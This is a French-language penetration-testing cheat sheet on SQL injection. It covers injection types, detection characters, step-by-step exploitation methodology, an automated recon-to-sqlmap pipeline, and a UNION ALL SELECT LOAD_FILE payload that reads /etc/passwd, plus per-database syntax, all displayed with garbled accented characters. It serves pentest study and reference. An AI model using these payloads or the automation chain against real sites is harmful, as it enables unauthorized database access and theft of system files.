๐Ÿ”ขSQLi

Wordlist

https://github.com/mathis2001/Wordlists/tree/main/SQLi

Les types de SQLi

Il existe trois types de SQLi:

  • les In-band dont on peut voir le rรฉsultat sur la page testรฉ et qui comprend:

    • Union based SQL injection: La plus efficace pour un attaquant basรฉe sur la fonction "UNION".

    • Error based SQL injection: Quant ร  elle basรฉe sรปr le comportement des erreurs renvoyรฉs par le serveur.

  • Les Injection SQL en aveugle qui ne donne aucun rรฉsultat direct sur la page mais qui peuvent รชtre dรฉtรฉctรฉs de deux faรงons:

    • Time based SQL injection: Basรฉe sur des commandes permettant de dรฉfinir un temps de rรฉponse qui pourra รชtre dรฉtรฉctรฉ en analysant le temps de rรฉponse du serveur ร  l'injection.

    • Boolean based SQL injection: Basรฉe sur la rรฉponse "TRUE" ou "FALSE" du serveur aux injections envoyรฉes.

  • Out-of-band qui ne renvoie aucun rรฉsultat direct ou indirect sur la machine auditรฉ mais qui peut-รชtre dรฉtรฉctรฉ en envoyant les donnรฉes sur un serveur distant.

SQLi

Dรฉtection

'
%27
"
%22
#
%23
;
%3B
)
*
'

Essayer de faire des opperations:
id=1332-1 => id=1331

Mรฉthodologie

Points d'injection:

  • Dans le champ du paramรจtre (ex: page.php?login=<payload>)

  • Directement dans un paramรจtre (ex: page.php?<payload>=...)

  • Dans le path (ex: page<payload>/)

  • Dans le header (user-agent:, referer:, cookies:)

Etapes:

  1. Tenter de gรฉnรฉrer une erreur avec une entrรฉe invalide ou un caractรจre spรฉcial indiquant la prรฉsence d'une possibilitรฉ d'injection

  2. Trouver le nombre total de colonnes dans la table avec les commandes "ORDER BY" et "GROUP BY"

  3. Trouver des colonnes vulnรฉrables avec des opรฉrateurs "UNION"

  4. Extraire les informations basiques telles que database(), version(), user(), uuid() avec "CONCAT()" ou "GROUP_CONCAT()"

  5. Extraire les tables complรจtes avec le nom des colonnes (extraire le plus d'infos possible avec la commande "GROUP_CONCAT()"

  6. Vรฉrifier les privilรจges pour les fichiers avec "FILE_PRIV"

  7. Accรฉder au systรจme avec la commande "LOAD FILE()"

Mรฉthode 2:

  1. Essayer de faire des operations (id=1332-1 => id=1331)

  2. Essayer d'ajouter des caractรจres utilisรฉs dans les requรชtes SQL tels que ' " # afin de gรฉnรฉrer des erreurs

  3. Tenter des injections gรฉnรฉriques (id=1331 AND 1=1 / id=1331 AND 1=2)

  4. Faire de mรชme en ajoutant la synthaxe de commentaire ร  la fin (--,#)

  5. Utiliser des outils automatique si les tests sembles positifs

Mรฉthode pour automatiser la dรฉtection de SQLi:

  1. $sublist3r -d target.com -o subdomains.txt

  2. cat subdomains.txt | httpx | tee -a alive.txt

  3. cat alive.txt | waybackurls | tee -a urls.txt

  4. gf sqli urls.txt >> possible_sqli.txt

  5. sqlmap -m sqli.txt --dbs --batch

Payload SQL => LFI

' UNION ALL SELECT LOAD_FILE ('/etc/passwd')

Synthaxe version

Microsoft, MySQL

@@version

Oracle

v$version

PostgreSQL

version()

Synthaxe commentaires

Oracle

--comment

Microsoft

--comment /*comment*/

PostgreSQL

--comment /*comment*/

MySQL

#comment -- comment [Notez l'espace entre les tirets et le commentaire] /*comment*/

Synthaxe concatenation

Oracle

'foo'||'bar'

Microsoft

'foo'+'bar'

PostgreSQL

'foo'||'bar'

MySQL

'foo' 'bar' [Notez l'espace entre les deux chaรฎnes de caractรจres] CONCAT('foo','bar')

Derniรจre mise ร  jour